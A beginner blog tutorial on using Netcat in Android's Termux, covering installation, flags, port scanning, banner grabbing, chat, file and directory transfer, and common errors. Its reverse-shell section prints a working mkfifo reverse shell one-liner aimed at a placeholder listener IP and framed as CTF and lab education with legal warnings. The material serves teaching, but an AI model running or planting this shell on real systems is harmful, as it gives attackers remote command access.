How to Use Netcat (nc) in Termux — Complete Beginner's Guide



Termux · Ethical Hacking · Android

How to Use Netcat (nc) in Termux — Complete Beginner's Guide

🆓 Free 🤖 No Root Required 📱 Android ✅ Tested 2026

// 01 — Introduction: What Is Netcat and Why Learn It in Termux?

If you are serious about learning cybersecurity, Linux networking, or ethical hacking on Android, Netcat in Termux is one of the very first tools you need to master. Netcat — commonly abbreviated as nc — is a lightweight, blazing-fast, and incredibly versatile networking utility that security professionals worldwide call the "Swiss Army Knife of networking." It has been around since the 1990s, yet it remains one of the most essential tools in any penetration tester's toolkit in 2026.

So what exactly can Netcat do? In short: almost anything involving TCP or UDP network connections. You can use it to open raw connections between two machines, scan ports, transfer files, send and receive data, create simple chat systems, debug network services, and even set up basic listener shells for educational penetration testing labs. All of this is possible right from your Android phone inside Termux — no root required.

In this complete beginner's guide, Rixon Xavier walks you through everything you need to know about using Netcat in Termux from scratch. We'll cover installation, every important flag and option, practical use cases with real command examples, common errors you'll encounter and exactly how to fix them, and pro tips that most tutorials skip entirely. Whether you're a total beginner just getting comfortable with the Termux terminal or someone building their ethical hacking lab on Android, this guide has everything you need.

By the end of this post, you will be able to confidently use nc for port scanning, file transfers, chat sessions, banner grabbing, and understand how it fits into real-world cybersecurity workflows. This guide is part of the free educational series at hydratermux.blogspot.com, where we break down complex security tools into simple, step-by-step Android tutorials.

💡
Tip: Netcat works entirely over your local network or the internet without needing root access on Android. It's one of the cleanest tools to learn networking fundamentals with.

Let's dive in. Before anything else, make sure you have Termux installed from F-Droid (the official, up-to-date source) and that you have run pkg update && pkg upgrade to keep your packages current. Now let's get Netcat installed and start learning.

// 02 — Installing Netcat in Termux

Installing Netcat in Termux is refreshingly simple compared to many other security tools. Termux uses the pkg package manager (which is built on top of apt), and Netcat is available directly in the official Termux repositories. You don't need any third-party repos, GitHub clones, or compilation steps for the basic version.

Step 1 — Update Your Package Lists

Always start by updating your package lists to make sure you're pulling the latest versions of everything. Skipping this step is one of the most common reasons beginners run into dependency errors.

bash copy
pkg update && pkg upgrade -y

This command updates the list of available packages (pkg update) and then upgrades any installed packages that have newer versions (pkg upgrade -y). The -y flag automatically confirms all prompts so you don't have to keep pressing Enter.

Step 2 — Install Netcat

There are actually two versions of Netcat available in Termux: the classic netcat package and the more feature-rich ncat (which comes bundled with Nmap). For most beginner use cases, the standard netcat package is perfect.

01

Install Classic Netcat

This installs the traditional nc binary — simple, fast, and covers most use cases.

bash copy
pkg install netcat-openbsd -y
02

OR Install Ncat (via Nmap)

If you want the more modern ncat binary with SSL support, install it through nmap.

bash copy
pkg install nmap -y
💡
Which one should you install? For learning purposes, start with netcat-openbsd. It's lighter and covers all the fundamentals. You can always add nmap later for ncat features like SSL.

Step 3 — Verify the Installation

After installation, verify that Netcat is correctly installed and accessible from your PATH.

bash copy
nc -h

You should see output similar to this:

output copy
OpenBSD netcat (Debian patchlevel 1.226)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
          [-m minttl] [-O length] [-P proxy_username] [-p source_port]
          [-q seconds] [-s sourceaddr] [-T keyword] [-V rtable] [-W recvlimit]
          [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]]
          [destination] [port]
If you see the usage output above, Netcat is installed correctly and ready to use! You're all set to proceed.

You can also check the version and the exact binary location:

bash copy
which nc
nc --version

Netcat doesn't print a --version flag like most tools, but which nc will confirm the binary path (usually /data/data/com.termux/files/usr/bin/nc on Termux). Everything is stored within Termux's own prefix, so no root access is needed at any point.

// 03 — Basic Netcat Syntax and All Important Flags Explained

Understanding Netcat's syntax and flags is critical before you start using it for real tasks. Many beginners just copy-paste commands without knowing what each part does — and then get confused when something doesn't work as expected. In this section, we'll break down the full syntax and every flag you'll commonly use when running Netcat in Termux.

The Basic Syntax

bash copy
nc [options] [hostname/IP] [port]

At its core, Netcat takes a target (hostname or IP address) and a port number, and opens a raw TCP (or UDP) connection to it. That's the foundation. Everything else is built on top of that simple idea.

Most Important Flags

Flag Full Name What It Does
-lListen modeMakes nc listen for incoming connections instead of connecting outward
-pPortSpecifies the local source port to use
-vVerboseShows connection details; use -vv for even more detail
-nNo DNSSkips DNS resolution — use IPs directly for faster connections
-uUDP modeUses UDP instead of the default TCP
-zZero I/O modePort scanning mode — connects but sends no data
-wTimeoutSets a connection timeout in seconds
-eExecuteExecutes a program after connection (not in OpenBSD variant)
-kKeep-aliveKeeps listening after a client disconnects (with -l)
-4IPv4 onlyForces IPv4
-6IPv6 onlyForces IPv6

Connect to a Remote Host

The simplest thing you can do with Netcat is open a raw TCP connection to any IP and port:

bash copy
nc -v google.com 80

This connects to Google's web server on port 80 (HTTP). The -v flag gives you verbose output so you can see whether the connection succeeded. Once connected, you can manually type an HTTP request:

bash copy
GET / HTTP/1.0
Host: google.com
[press Enter twice]

Google's server will respond with raw HTTP headers and HTML — this is how you manually test web servers without a browser. This is also called banner grabbing in security testing — retrieving the service banner to identify what software and version is running on a port.

Start a Listener

To make Netcat listen on a specific port (waiting for incoming connections):

bash copy
nc -lvp 4444

Breaking this down: -l means listen mode, -v means verbose, and -p 4444 means listen on port 4444. You can combine short flags like -lvp for convenience. Netcat will sit and wait until something connects to port 4444 on your device.

⚠️
Warning: Only run listeners on your own devices or within isolated lab environments. Binding an open listener on a public network without proper controls is a security risk.

// 04 — Using Netcat in Termux as a Port Scanner

One of the most practical everyday uses of Netcat in Termux is quick port scanning. While tools like Nmap are far more powerful for comprehensive scans, Netcat's -z (zero I/O) mode lets you rapidly check whether specific ports are open on a target — and it does this using nothing but the built-in nc command you already installed.

Port scanning is a foundational skill in network administration and ethical hacking. Before you can test a service, you need to know it's running and on what port. Netcat gives you a fast, no-frills way to do this right from your Android terminal.

Scan a Single Port

To check if a single port is open on a target, use the -z flag (zero I/O — connect but send no data) combined with -v for output:

bash copy
nc -zv 192.168.1.1 80

Example output when port is open:

output copy
Connection to 192.168.1.1 80 port [tcp/http] succeeded!

Example output when port is closed:

output copy
nc: connect to 192.168.1.1 port 80 (tcp) failed: Connection refused

This is clean and clear — either the port is open (succeeded) or closed/filtered (failed/timed out).

Scan a Range of Ports

Netcat supports port range scanning natively. Just specify the start and end ports separated by a dash:

bash copy
nc -zv 192.168.1.1 20-100

This scans ports 20 through 100 on the target IP. Netcat will try each port in turn and report open ones. For scanning larger ranges quickly, add a short timeout with -w 1 so Netcat doesn't wait too long on filtered/unresponsive ports:

bash copy
nc -zvn -w 1 192.168.1.1 1-1000

Here -n skips DNS resolution (faster since we're using an IP directly) and -w 1 sets a 1-second timeout per port. This scans the first 1000 ports fairly quickly.

Scan Specific Well-Known Ports

You can check multiple specific ports at once by looping with bash:

bash copy
for port in 22 80 443 3306 8080 8443; do
  nc -zv -w 1 192.168.1.1 $port 2>&1
done

This loops through the most common service ports: SSH (22), HTTP (80), HTTPS (443), MySQL (3306), and alternate HTTP ports (8080, 8443). The 2>&1 redirects stderr to stdout so you see all output in one place.

💡
Pro Tip: Always use Netcat port scanning only on your own devices, your home router, or in a dedicated lab environment (like a VirtualBox/QEMU VM on the same network). Never scan external IPs or networks without explicit written permission.

Banner Grabbing with Netcat

Banner grabbing means connecting to a port and reading whatever the service sends back to identify it. This is incredibly useful in security assessments:

bash copy
echo "" | nc -v -w 2 192.168.1.1 22

Against an SSH server, you'd see something like:

output copy
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6

That single line tells you the SSH version, the OS, and the Ubuntu version — all without logging in. This is exactly how penetration testers start building a picture of their target environment.

// 05 — Netcat for Chat Sessions and File Transfer in Termux

Two of the most practical and beginner-friendly use cases for Netcat in Termux are setting up a simple two-way chat between devices and transferring files over the network. Both of these work beautifully on a local Wi-Fi network with no additional software needed — just nc on both ends. These exercises are also perfect for understanding how raw TCP connections actually work in practice.

Creating a Simple Chat Between Two Devices

This is one of the coolest beginner experiments you can do. You need two devices on the same network — for example, your Android phone running Termux and your laptop, or two Android devices both running Termux.

01

On Device A — Start the Listener

First, find your device's local IP address with ip addr or ifconfig. Then start a listener:

bash copy
# On Device A (e.g., your phone at 192.168.1.50)
nc -lvp 5555
02

On Device B — Connect to the Listener

From the second device, connect to Device A using its IP and the port you chose:

bash copy
# On Device B (laptop, second phone, etc.)
nc 192.168.1.50 5555

Once Device B connects, both terminals enter a two-way chat mode. Anything you type on either device and press Enter sends immediately to the other. It's raw, it's fast, and it teaches you exactly how unencrypted TCP communication works at the application layer. Type Ctrl+C on either end to close the connection.

You've just built a peer-to-peer chat tool with a single command on each device. This is the same underlying mechanism used by many network protocols — just without encryption or authentication on top.

Transferring Files with Netcat

Netcat is excellent for quick file transfers on a local network — no FTP, SCP, or cloud storage needed. The principle is the same as the chat: one side listens, one side connects and pipes data.

01

On the Receiving Device — Set Up the Listener

Redirect incoming data to a file:

bash copy
# Receiver (Device A) — saves incoming data to received_file.txt
nc -lvp 9999 > received_file.txt
02

On the Sending Device — Send the File

Pipe the file contents into the Netcat connection:

bash copy
# Sender (Device B) — sends myfile.txt to Device A
nc -w 3 192.168.1.50 9999 < myfile.txt

The -w 3 flag makes Netcat close the connection automatically 3 seconds after the file finishes sending (otherwise it would wait indefinitely). On the receiving end, once the connection closes, received_file.txt will contain the exact contents of myfile.txt.

Transferring Entire Directories with tar + Netcat

You can even transfer whole folders by combining tar (for archiving) with Netcat's pipe:

bash copy
# Receiver
nc -lvp 9998 | tar xvf -

# Sender
tar cvf - /path/to/folder | nc -w 3 192.168.1.50 9998

The sender archives the folder to stdout (- means stdout/stdin in tar), which gets piped directly into the Netcat connection. The receiver unpipes what it receives straight into tar for extraction. Clean, fast, and completely self-contained.

⚠️
Warning: Netcat transfers are unencrypted. Never transfer sensitive files over untrusted networks using plain Netcat. For secure transfers, use SCP or SFTP instead.

// 06 — Netcat Reverse Shells — Educational Overview for Ethical Hacking Students

In cybersecurity education and ethical penetration testing, understanding reverse shells is a core concept. A reverse shell is when a target machine initiates a connection back to the attacker's machine (the "listener"), effectively giving the penetration tester a command-line interface on the target. This technique is commonly tested in CTF (Capture The Flag) competitions, penetration testing labs like Hack The Box, TryHackMe, and DVWA setups.

This section is purely educational — to help you understand how these concepts work so you can recognize and defend against them, and succeed in CTF challenges and security certifications. Only ever practice these techniques on your own systems or in legally authorized lab environments.

⚠️
Legal Warning: Using reverse shells or any exploitation technique on systems you don't own or don't have explicit written authorization to test is illegal under computer crime laws in virtually every country. This knowledge is shared for defensive understanding, CTF practice, and authorized lab use only.

Why Reverse Shells Instead of Bind Shells?

A bind shell opens a listener on the target that the attacker connects to. A reverse shell has the target connect outward to the attacker's listener. Reverse shells are preferred in real-world pentesting because firewalls typically block incoming connections to random ports — but they usually allow outgoing connections. Understanding this distinction is important for network defense and firewall rule design.

Basic Netcat Listener Setup (Lab Environment)

In a controlled lab — for example, two VMs you own, or your Termux device connecting to a Kali Linux VM — you would set up the attacker side listener like this:

bash copy
# On your machine (the listener / "attacker" in a lab)
nc -lvnp 4444

The flags here: -l listen, -v verbose, -n no DNS resolution, -p 4444 on port 4444. This simply waits for an incoming connection.

The OpenBSD Netcat Limitation

An important thing to know: the OpenBSD variant of Netcat (which is what netcat-openbsd in Termux uses) deliberately does not include the -e flag (execute). The -e flag (execute a program on connect) was removed from OpenBSD Netcat specifically as a security measure.

This is why you'll see CTF writeups using the traditional (GNU) Netcat or alternative tools like ncat (from Nmap) or socat for reverse shell exercises. If you need -e functionality in Termux, install ncat via pkg install nmap, or use socat (pkg install socat).

Alternative: Using mkfifo for a Reverse Shell Without -e

Even without the -e flag, you can create a shell connection using named pipes (mkfifo). This is a classic CTF technique worth understanding:

bash copy
# Lab exercise only — run on your own test machine
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP 4444 > /tmp/f

Breaking this down for learning purposes: mkfifo /tmp/f creates a named pipe. The shell's output feeds through Netcat to the listener, and input from the listener feeds back through the pipe to the shell. This creates a bidirectional interactive shell over a plain Netcat connection — no -e flag needed.

Practicing Safely: Recommended Lab Environments

If you want to practice these concepts legally and safely, here are the recommended environments:

Platform Type Cost Best For
TryHackMeBrowser-based VMsFree/PaidStructured beginner paths
Hack The BoxReal pentesting VMsFree/VIPIntermediate/Advanced
VulnHubDownloadable VMsFreeOffline practice
DVWALocal web appFreeWeb vulnerability practice
Your own VMsLocal networkFreeFull control, zero legal risk

// 07 — Common Errors When Using Netcat in Termux and How to Fix Them

Even experienced users run into errors with Netcat from time to time. Here are the most common issues beginners face when using Netcat in Termux, with exact fixes for each one.

Error 1: "command not found: nc"

output copy
bash: nc: command not found

Cause: Netcat isn't installed yet, or the installation failed silently.
Fix: Run pkg install netcat-openbsd -y and verify with which nc.

Error 2: "Connection refused"

output copy
nc: connect to 192.168.1.1 port 4444 (tcp) failed: Connection refused

Cause: No listener is running on the target port, or a firewall is blocking it.
Fix: Confirm the listener is actually running on the target with nc -lvp 4444. Check that you have the right IP address. Make sure no firewall is blocking the port.

Error 3: nc -e flag not working

output copy
nc: invalid option -- 'e'

Cause: You're using the OpenBSD variant of Netcat, which doesn't support -e.
Fix: Use ncat instead (install via pkg install nmap) or use the mkfifo method described in Section 5.

Error 4: "Address already in use"

output copy
nc: bind failed: Address already in use

Cause: Another process is already using that port, or a previous Netcat listener is still running in the background.
Fix: Find and kill the process using that port: fuser -k 4444/tcp or just choose a different port number.

Error 5: Listener exits immediately after first connection

Cause: Default Netcat listener behavior — it closes after the first client disconnects.
Fix: Add the -k flag to keep the listener running: nc -lvkp 4444. Note: -k is available in OpenBSD nc.

Error 6: File transfer incomplete or corrupted

Cause: The sender closed before the receiver finished writing, or the -w timeout was too short.
Fix: Increase the timeout: nc -w 10 instead of -w 1. For large files, consider using pv (pipe viewer) to monitor progress: pkg install pv, then cat file | pv | nc ....

// 08 — Pro Tips for Getting the Most Out of Netcat in Termux

These are the tips and tricks that most basic tutorials skip — but they'll save you time, help you debug faster, and make you look like you really know what you're doing in the terminal.

💡
Tip 1 — Always use -v during learning. The verbose flag (-v) shows connection state, errors, and what's happening under the hood. Drop it only when you need clean piped output in scripts.
💡
Tip 2 — Use -n with IPs. If you're using a direct IP address (not a hostname), always add -n. Skipping DNS resolution makes connections noticeably faster and eliminates one potential failure point.
💡
Tip 3 — Combine with grep for smart port scanning. Filter only open ports from a range scan: nc -zvn -w 1 192.168.1.1 1-1000 2>&1 | grep succeeded
💡
Tip 4 — Use timeout command for cleaner scripting. Wrap nc in the timeout command for reliable scripting: timeout 3 nc -zv 192.168.1.1 80. If the connection takes more than 3 seconds, the command exits cleanly.
💡
Tip 5 — Test UDP services with -u. Many services (DNS on port 53, DHCP, SNMP on 161) use UDP. Switch to UDP mode with nc -u target 53. UDP scanning is less reliable than TCP (no connection confirmation) but still useful for service identification.
💡
Tip 6 — Run Netcat in background with &. When setting up listeners in scripts, run them in the background: nc -lvp 4444 &. Use fg to bring it back to the foreground, or kill %1 to kill it.
💡
Tip 7 — Get your Termux IP fast. Before using Netcat between devices, quickly get your Termux device IP with: ip route get 1 | awk '{print $7}' — one line, your exact IP.

// 09 — Netcat vs Ncat vs Socat — Full Comparison

Now that you're comfortable with Netcat, it's worth knowing where it fits among related tools. Here's a clear comparison of the three most commonly used raw connection tools in Termux and Linux security work:

Feature Netcat (OpenBSD) Ncat (Nmap) Socat
Termux Installpkg install netcat-openbsdpkg install nmappkg install socat
Binary Size~70KB~200KB~400KB
TCP Support✅ Yes✅ Yes✅ Yes
UDP Support✅ Yes✅ Yes✅ Yes
SSL/TLS❌ No✅ Yes✅ Yes
-e (Execute) flag❌ Removed✅ YesN/A (different syntax)
IPv6 Support✅ Yes✅ Yes✅ Yes
Port Scanning✅ Basic (-z)✅ Yes❌ Not built-in
Serial Ports❌ No❌ No✅ Yes
Learning CurveEasyEasy-MediumSteep
Best Use CaseLearning, quick tasksCTF, SSL testingComplex relays

Bottom line: Start with netcat-openbsd for learning the fundamentals. Move to ncat when you need SSL support or the -e flag for CTF challenges. Use socat when you need advanced socket relay, serial port communication, or complex bidirectional tunnels in lab work.

// 10 — Frequently Asked Questions About Netcat in Termux

Is Netcat legal to use in Termux?
Netcat itself is completely legal to install and use. It's a standard networking utility included in most Linux distributions and used daily by system administrators worldwide. What matters is how you use it. Using Netcat on your own devices, your own network, or in authorized lab environments (like TryHackMe or Hack The Box) is perfectly legal. Using it to scan, connect to, or transfer data from systems you don't own or have explicit permission to access is illegal under computer crime laws in most jurisdictions.
Does Netcat need root access in Termux?
No — Netcat does not require root access in Termux. You can install it and use all its features (port scanning, listeners, file transfer, banner grabbing) entirely within the Termux environment without rooting your Android device. The only limitation is that ports below 1024 (privileged ports) are restricted by the Linux kernel, but in Termux you can use any port from 1024 to 65535 freely.
What is the difference between netcat-openbsd and ncat?
Netcat-openbsd is the OpenBSD rewrite of the original Netcat tool. It's minimal, secure, and has had the -e (execute) flag deliberately removed. Ncat is a modern reimplementation created by the Nmap team — it adds SSL/TLS support, the -e flag, proxy support, and better scripting features. For beginners, netcat-openbsd is the best starting point. For CTF work or when you need SSL, switch to ncat.
Can I use Netcat to scan ports on the internet?
Technically yes, but you should only scan IPs and domains you own or have explicit written permission to scan. Port scanning external IPs without permission is considered unauthorized access in most countries and can result in legal consequences. For learning port scanning safely, set up a VM on your local network and scan that, or use authorized platforms like TryHackMe or Hack The Box where scanning the lab machines is explicitly permitted.
How do I stop a Netcat listener in Termux?
Press Ctrl+C in the terminal where the listener is running. If Netcat is running in the background (started with &), use jobs to see it and kill %1 (or the relevant job number) to stop it. You can also find the process ID with pgrep nc and kill it with kill [PID].
Why does my Netcat file transfer show no output?
By default, Netcat doesn't show a progress bar or transfer stats during file transfers — it just silently pipes data through. This is normal behavior. If you want to see transfer progress, install pv (pipe viewer) with pkg install pv and add it to your pipeline: cat file.txt | pv | nc -w 3 192.168.1.50 9999. This will show transfer speed and data volume in real time.
Can I use Netcat with IPv6 in Termux?
Yes. Use the -6 flag to force IPv6 mode: nc -6 -v ::1 80 (where ::1 is the IPv6 loopback address). If you want to force IPv4 explicitly, use -4. By default, Netcat will use whatever is appropriate for the address you provide.

// 11 — Conclusion: Master Netcat, Master Networking

You've made it through the complete guide to using Netcat in Termux — from installation all the way through port scanning, file transfers, chat sessions, reverse shell theory, error fixing, and pro tips. Netcat might look simple on the surface, but as you've seen, it's an incredibly versatile tool that underpins real-world networking and security work at every level.

Here's a quick recap of everything you can now do with nc in Termux: install and verify Netcat without root, understand every important flag and what it does, scan individual ports or port ranges with zero I/O mode, grab service banners to identify running software, set up two-way chat sessions between devices, transfer files and entire directories over your local network, and understand the educational concepts behind listeners and reverse shells for CTF practice.

The key thing to remember is that Netcat is a learning tool as much as it is a practical utility. Every time you use it, you're building a deeper understanding of how TCP/IP networking actually works — knowledge that directly applies to network administration, security engineering, and penetration testing. The more you experiment with it in your own lab environments, the more intuitive networking concepts will become.

If you want to go deeper, the natural next steps are learning ncat (for SSL-capable connections), socat (for complex socket relays), and Nmap (for comprehensive port scanning with service detection). All of these are covered in free tutorials right here on this blog.

Ready for more? Check out our next guide: How to Use Nmap in Termux — Complete Beginner's Guide, where we take port scanning to the next level with full service detection, OS fingerprinting, and NSE scripting.

Found this guide helpful? Drop a comment below, share it with a fellow Termux learner, and subscribe to the blog for new tutorials every week. Your feedback helps us make better content for the entire Termux community.

Rixon Xavier

Founder — HYDRA TERMUX

Cybersecurity educator and Termux enthusiast. Creating free tutorials to help Android users learn Linux and ethical cybersecurity since 2023.

⚠️ Disclaimer: This tutorial is for educational purposes only. Always practice on systems you own or have explicit permission to test. HYDRA TERMUX does not support illegal activity of any kind.
--- BLOGGER SETTINGS FOR THIS POST: Title: How to Use Netcat (nc) in Termux — Complete Beginner's Guide 2026 Labels: termux, linux, android, Cybersecurity, Ethical Hacking, Termux Tutorial, Termux Tools, Penetration Testing Search Description: Learn how to use Netcat (nc) in Termux on Android — port scanning, file transfer, chat, and more. No root required. Free 2026 guide. Custom Robot Tags: all, noodp ---
Previous Post
No Comments Yet
Add Comment
comment url